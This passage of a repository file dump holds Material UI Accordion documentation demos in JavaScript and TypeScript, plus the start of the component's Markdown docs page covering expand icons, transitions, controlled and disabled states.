2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionExpandIcon.tsx",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ArrowDownwardIcon from '@mui/icons-material/ArrowDownward';\nimport ArrowDropDownIcon from '@mui/icons-material/ArrowDropDown';\n\nexport default function AccordionExpandIcon() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ArrowDownwardIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ArrowDropDownIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionTransition.js",
    "content": "import * as React from 'react';\nimport Accordion, { accordionClasses } from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails, {\n  accordionDetailsClasses,\n} from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Fade from '@mui/material/Fade';\n\nexport default function AccordionTransition() {\n  const [expanded, setExpanded] = React.useState(false);\n\n  const handleExpansion = () => {\n    setExpanded((prevExpanded) => !prevExpanded);\n  };\n\n  return (\n    <div>\n      <Accordion\n        expanded={expanded}\n        onChange={handleExpansion}\n        slots={{ transition: Fade }}\n        slotProps={{ transition: { timeout: 400 } }}\n        sx={[\n          expanded\n            ? {\n                [`& .${accordionClasses.region}`]: {\n                  height: 'auto',\n                },\n                [`& .${accordionDetailsClasses.root}`]: {\n                  display: 'block',\n                },\n              }\n            : {\n                [`& .${accordionClasses.region}`]: {\n                  height: 0,\n                },\n                [`& .${accordionDetailsClasses.root}`]: {\n                  display: 'none',\n                },\n              },\n        ]}\n      >\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Custom transition using Fade</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Default transition using Collapse</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionTransition.tsx",
    "content": "import * as React from 'react';\nimport Accordion, {\n  AccordionSlots,\n  accordionClasses,\n} from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails, {\n  accordionDetailsClasses,\n} from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Fade from '@mui/material/Fade';\n\nexport default function AccordionTransition() {\n  const [expanded, setExpanded] = React.useState(false);\n\n  const handleExpansion = () => {\n    setExpanded((prevExpanded) => !prevExpanded);\n  };\n\n  return (\n    <div>\n      <Accordion\n        expanded={expanded}\n        onChange={handleExpansion}\n        slots={{ transition: Fade as AccordionSlots['transition'] }}\n        slotProps={{ transition: { timeout: 400 } }}\n        sx={[\n          expanded\n            ? {\n                [`& .${accordionClasses.region}`]: {\n                  height: 'auto',\n                },\n                [`& .${accordionDetailsClasses.root}`]: {\n                  display: 'block',\n                },\n              }\n            : {\n                [`& .${accordionClasses.region}`]: {\n                  height: 0,\n                },\n                [`& .${accordionDetailsClasses.root}`]: {\n                  display: 'none',\n                },\n              },\n        ]}\n      >\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Custom transition using Fade</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Default transition using Collapse</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionUsage.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionActions from '@mui/material/AccordionActions';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Button from '@mui/material/Button';\n\nexport default function AccordionUsage() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n      </Accordion>\n      <Accordion defaultExpanded>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3-content\"\n          id=\"panel3-header\"\n        >\n          <Typography component=\"span\">Accordion Actions</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n        <AccordionActions>\n          <Button>Cancel</Button>\n          <Button>Agree</Button>\n        </AccordionActions>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/AccordionUsage.tsx",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionActions from '@mui/material/AccordionActions';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\nimport Button from '@mui/material/Button';\n\nexport default function AccordionUsage() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n      </Accordion>\n      <Accordion defaultExpanded>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3-content\"\n          id=\"panel3-header\"\n        >\n          <Typography component=\"span\">Accordion Actions</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n          malesuada lacus ex, sit amet blandit leo lobortis eget.\n        </AccordionDetails>\n        <AccordionActions>\n          <Button>Cancel</Button>\n          <Button>Agree</Button>\n        </AccordionActions>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/ControlledAccordions.js",
    "content": "import * as React from 'react';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function ControlledAccordions() {\n  const [expanded, setExpanded] = React.useState(false);\n\n  const handleChange = (panel) => (event, isExpanded) => {\n    setExpanded(isExpanded ? panel : false);\n  };\n\n  return (\n    <div>\n      <Accordion expanded={expanded === 'panel1'} onChange={handleChange('panel1')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1bh-content\"\n          id=\"panel1bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            General settings\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            I am an accordion\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nulla facilisi. Phasellus sollicitudin nulla et quam mattis feugiat.\n            Aliquam eget maximus est, id dignissim quam.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel2'} onChange={handleChange('panel2')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2bh-content\"\n          id=\"panel2bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Users\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            You are currently not an owner\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Donec placerat, lectus sed mattis semper, neque lectus feugiat lectus,\n            varius pulvinar diam eros in elit. Pellentesque convallis laoreet\n            laoreet.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel3'} onChange={handleChange('panel3')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3bh-content\"\n          id=\"panel3bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Advanced settings\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            Filtering has been entirely disabled for whole web server\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nunc vitae orci ultricies, auctor nunc in, volutpat nisl. Integer sit\n            amet egestas eros, vitae egestas augue. Duis vel est augue.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel4'} onChange={handleChange('panel4')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel4bh-content\"\n          id=\"panel4bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Personal data\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nunc vitae orci ultricies, auctor nunc in, volutpat nisl. Integer sit\n            amet egestas eros, vitae egestas augue. Duis vel est augue.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/ControlledAccordions.tsx",
    "content": "import * as React from 'react';\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function ControlledAccordions() {\n  const [expanded, setExpanded] = React.useState<string | false>(false);\n\n  const handleChange =\n    (panel: string) => (event: React.SyntheticEvent, isExpanded: boolean) => {\n      setExpanded(isExpanded ? panel : false);\n    };\n\n  return (\n    <div>\n      <Accordion expanded={expanded === 'panel1'} onChange={handleChange('panel1')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1bh-content\"\n          id=\"panel1bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            General settings\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            I am an accordion\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nulla facilisi. Phasellus sollicitudin nulla et quam mattis feugiat.\n            Aliquam eget maximus est, id dignissim quam.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel2'} onChange={handleChange('panel2')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2bh-content\"\n          id=\"panel2bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Users\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            You are currently not an owner\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Donec placerat, lectus sed mattis semper, neque lectus feugiat lectus,\n            varius pulvinar diam eros in elit. Pellentesque convallis laoreet\n            laoreet.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel3'} onChange={handleChange('panel3')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3bh-content\"\n          id=\"panel3bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Advanced settings\n          </Typography>\n          <Typography component=\"span\" sx={{ color: 'text.secondary' }}>\n            Filtering has been entirely disabled for whole web server\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nunc vitae orci ultricies, auctor nunc in, volutpat nisl. Integer sit\n            amet egestas eros, vitae egestas augue. Duis vel est augue.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel4'} onChange={handleChange('panel4')}>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel4bh-content\"\n          id=\"panel4bh-header\"\n        >\n          <Typography component=\"span\" sx={{ width: '33%', flexShrink: 0 }}>\n            Personal data\n          </Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Nunc vitae orci ultricies, auctor nunc in, volutpat nisl. Integer sit\n            amet egestas eros, vitae egestas augue. Duis vel est augue.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/CustomizedAccordions.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport ArrowForwardIosSharpIcon from '@mui/icons-material/ArrowForwardIosSharp';\nimport MuiAccordion from '@mui/material/Accordion';\nimport MuiAccordionSummary, {\n  accordionSummaryClasses,\n} from '@mui/material/AccordionSummary';\nimport MuiAccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\n\nconst Accordion = styled((props) => (\n  <MuiAccordion disableGutters elevation={0} square {...props} />\n))(({ theme }) => ({\n  border: `1px solid ${theme.palette.divider}`,\n  '&:not(:last-child)': {\n    borderBottom: 0,\n  },\n  '&::before': {\n    display: 'none',\n  },\n}));\n\nconst AccordionSummary = styled((props) => (\n  <MuiAccordionSummary\n    expandIcon={<ArrowForwardIosSharpIcon sx={{ fontSize: '0.9rem' }} />}\n    {...props}\n  />\n))(({ theme }) => ({\n  backgroundColor: 'rgba(0, 0, 0, .03)',\n  flexDirection: 'row-reverse',\n  [`& .${accordionSummaryClasses.expandIconWrapper}.${accordionSummaryClasses.expanded}`]:\n    {\n      transform: 'rotate(90deg)',\n    },\n  [`& .${accordionSummaryClasses.content}`]: {\n    marginLeft: theme.spacing(1),\n  },\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(255, 255, 255, .05)',\n  }),\n}));\n\nconst AccordionDetails = styled(MuiAccordionDetails)(({ theme }) => ({\n  padding: theme.spacing(2),\n  borderTop: '1px solid rgba(0, 0, 0, .125)',\n}));\n\nexport default function CustomizedAccordions() {\n  const [expanded, setExpanded] = React.useState('panel1');\n\n  const handleChange = (panel) => (event, newExpanded) => {\n    setExpanded(newExpanded ? panel : false);\n  };\n\n  return (\n    <div>\n      <Accordion expanded={expanded === 'panel1'} onChange={handleChange('panel1')}>\n        <AccordionSummary aria-controls=\"panel1d-content\" id=\"panel1d-header\">\n          <Typography component=\"span\">Collapsible Group Item #1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel2'} onChange={handleChange('panel2')}>\n        <AccordionSummary aria-controls=\"panel2d-content\" id=\"panel2d-header\">\n          <Typography component=\"span\">Collapsible Group Item #2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel3'} onChange={handleChange('panel3')}>\n        <AccordionSummary aria-controls=\"panel3d-content\" id=\"panel3d-header\">\n          <Typography component=\"span\">Collapsible Group Item #3</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/CustomizedAccordions.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport ArrowForwardIosSharpIcon from '@mui/icons-material/ArrowForwardIosSharp';\nimport MuiAccordion, { AccordionProps } from '@mui/material/Accordion';\nimport MuiAccordionSummary, {\n  AccordionSummaryProps,\n  accordionSummaryClasses,\n} from '@mui/material/AccordionSummary';\nimport MuiAccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\n\nconst Accordion = styled((props: AccordionProps) => (\n  <MuiAccordion disableGutters elevation={0} square {...props} />\n))(({ theme }) => ({\n  border: `1px solid ${theme.palette.divider}`,\n  '&:not(:last-child)': {\n    borderBottom: 0,\n  },\n  '&::before': {\n    display: 'none',\n  },\n}));\n\nconst AccordionSummary = styled((props: AccordionSummaryProps) => (\n  <MuiAccordionSummary\n    expandIcon={<ArrowForwardIosSharpIcon sx={{ fontSize: '0.9rem' }} />}\n    {...props}\n  />\n))(({ theme }) => ({\n  backgroundColor: 'rgba(0, 0, 0, .03)',\n  flexDirection: 'row-reverse',\n  [`& .${accordionSummaryClasses.expandIconWrapper}.${accordionSummaryClasses.expanded}`]:\n    {\n      transform: 'rotate(90deg)',\n    },\n  [`& .${accordionSummaryClasses.content}`]: {\n    marginLeft: theme.spacing(1),\n  },\n  ...theme.applyStyles('dark', {\n    backgroundColor: 'rgba(255, 255, 255, .05)',\n  }),\n}));\n\nconst AccordionDetails = styled(MuiAccordionDetails)(({ theme }) => ({\n  padding: theme.spacing(2),\n  borderTop: '1px solid rgba(0, 0, 0, .125)',\n}));\n\nexport default function CustomizedAccordions() {\n  const [expanded, setExpanded] = React.useState<string | false>('panel1');\n\n  const handleChange =\n    (panel: string) => (event: React.SyntheticEvent, newExpanded: boolean) => {\n      setExpanded(newExpanded ? panel : false);\n    };\n\n  return (\n    <div>\n      <Accordion expanded={expanded === 'panel1'} onChange={handleChange('panel1')}>\n        <AccordionSummary aria-controls=\"panel1d-content\" id=\"panel1d-header\">\n          <Typography component=\"span\">Collapsible Group Item #1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel2'} onChange={handleChange('panel2')}>\n        <AccordionSummary aria-controls=\"panel2d-content\" id=\"panel2d-header\">\n          <Typography component=\"span\">Collapsible Group Item #2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion expanded={expanded === 'panel3'} onChange={handleChange('panel3')}>\n        <AccordionSummary aria-controls=\"panel3d-content\" id=\"panel3d-header\">\n          <Typography component=\"span\">Collapsible Group Item #3</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget. Lorem ipsum dolor\n            sit amet, consectetur adipiscing elit. Suspendisse malesuada lacus ex,\n            sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/DisabledAccordion.js",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function DisabledAccordion() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion disabled>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3-content\"\n          id=\"panel3-header\"\n        >\n          <Typography component=\"span\">Disabled Accordion</Typography>\n        </AccordionSummary>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/DisabledAccordion.tsx",
    "content": "import Accordion from '@mui/material/Accordion';\nimport AccordionSummary from '@mui/material/AccordionSummary';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport Typography from '@mui/material/Typography';\nimport ExpandMoreIcon from '@mui/icons-material/ExpandMore';\n\nexport default function DisabledAccordion() {\n  return (\n    <div>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel1-content\"\n          id=\"panel1-header\"\n        >\n          <Typography component=\"span\">Accordion 1</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel2-content\"\n          id=\"panel2-header\"\n        >\n          <Typography component=\"span\">Accordion 2</Typography>\n        </AccordionSummary>\n        <AccordionDetails>\n          <Typography>\n            Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse\n            malesuada lacus ex, sit amet blandit leo lobortis eget.\n          </Typography>\n        </AccordionDetails>\n      </Accordion>\n      <Accordion disabled>\n        <AccordionSummary\n          expandIcon={<ExpandMoreIcon />}\n          aria-controls=\"panel3-content\"\n          id=\"panel3-header\"\n        >\n          <Typography component=\"span\">Disabled Accordion</Typography>\n        </AccordionSummary>\n      </Accordion>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/accordion/accordion.md",
    "content": "---\nproductId: material-ui\ntitle: React Accordion component\ncomponents: Accordion, AccordionActions, AccordionDetails, AccordionSummary\ngithubLabel: 'scope: accordion'\nmaterialDesign: https://m1.material.io/components/expansion-panels.html\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/accordion/\ngithubSource: packages/mui-material/src/Accordion\n---\n\n# Accordion\n\n<p class=\"description\">The Accordion component lets users show and hide sections of related content on a page.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nThe Material UI Accordion component includes several complementary utility components to handle various use cases:\n\n- Accordion: the wrapper for grouping related components.\n- Accordion Summary: the wrapper for the Accordion header, which expands or collapses the content when clicked.\n- Accordion Details: the wrapper for the Accordion content.\n- Accordion Actions: an optional wrapper that groups a set of buttons.\n\n{{\"demo\": \"AccordionUsage.js\", \"bg\": true}}\n\n:::info\nThis component is no longer documented in the [Material Design guidelines](https://m2.material.io/), but Material UI will continue to support it.\n:::\n\n## Basics\n\n```jsx\nimport Accordion from '@mui/material/Accordion';\nimport AccordionDetails from '@mui/material/AccordionDetails';\nimport AccordionSummary from '@mui/material/AccordionSummary';\n```\n\n### Expand icon\n\nUse the `expandIcon` prop on the Accordion Summary component to change the expand indicator icon.\nThe component handles the turning upside-down transition automatically.\n\n{{\"demo\": \"AccordionExpandIcon.js\", \"bg\": true}}\n\n### Expanded by default\n\nUse the `defaultExpanded` prop on the Accordion component to have it opened by default.\n\n{{\"demo\": \"AccordionExpandDefault.js\", \"bg\": true}}\n\n### Transition\n\nUse the `slots.transition` and `slotProps.transition` props to change the Accordion's default transition.\n\n{{\"demo\": \"AccordionTransition.js\", \"bg\": true}}\n\n### Disabled item\n\nUse the `disabled` prop on the Accordion component to disable interaction and focus.\n\n{{\"demo\": \"DisabledAccordion.js\", \"bg\": true}}\n\n### Controlled Accordion\n\nThe Accordion component can be controlled or uncontrolled.\n\n{{\"demo\": \"ControlledAccordions.js\", \"bg\": true}}\n\n:::info\n\n- A component is **controlled** when it's managed by its parent using props.\n- A component is **uncontrolled** when it's managed by its own local state.\n\nLearn more about controlled and uncontrolled components in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).\n:::\n\n## Customization\n\n### Only one expanded at a time\n\nUse the `expanded` prop with React's `useState` hook to allow only one Accordion item to be expanded at a time.\nThe demo below also shows a bit of visual customization.\n\n{{\"demo\": \"CustomizedAccordions.js\", \"bg\": true}}\n\n### Changing heading level\n\nBy default, the Accordion uses an `h3` element for the heading. You can change the heading element using the `slotProps.heading.component` prop to ensure the correct heading hierarchy in your document.\n\n```jsx\n<Accordion slotProps={{ heading: { component: 'h4' } }}>\n  <AccordionSummary\n    expandIcon={<ExpandMoreIcon />}\n    aria-controls=\"panel1-content\"\n    id=\"panel1-header\"\n  >\n    Accordion\n  </AccordionSummary>\n  <AccordionDetails>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Suspendisse 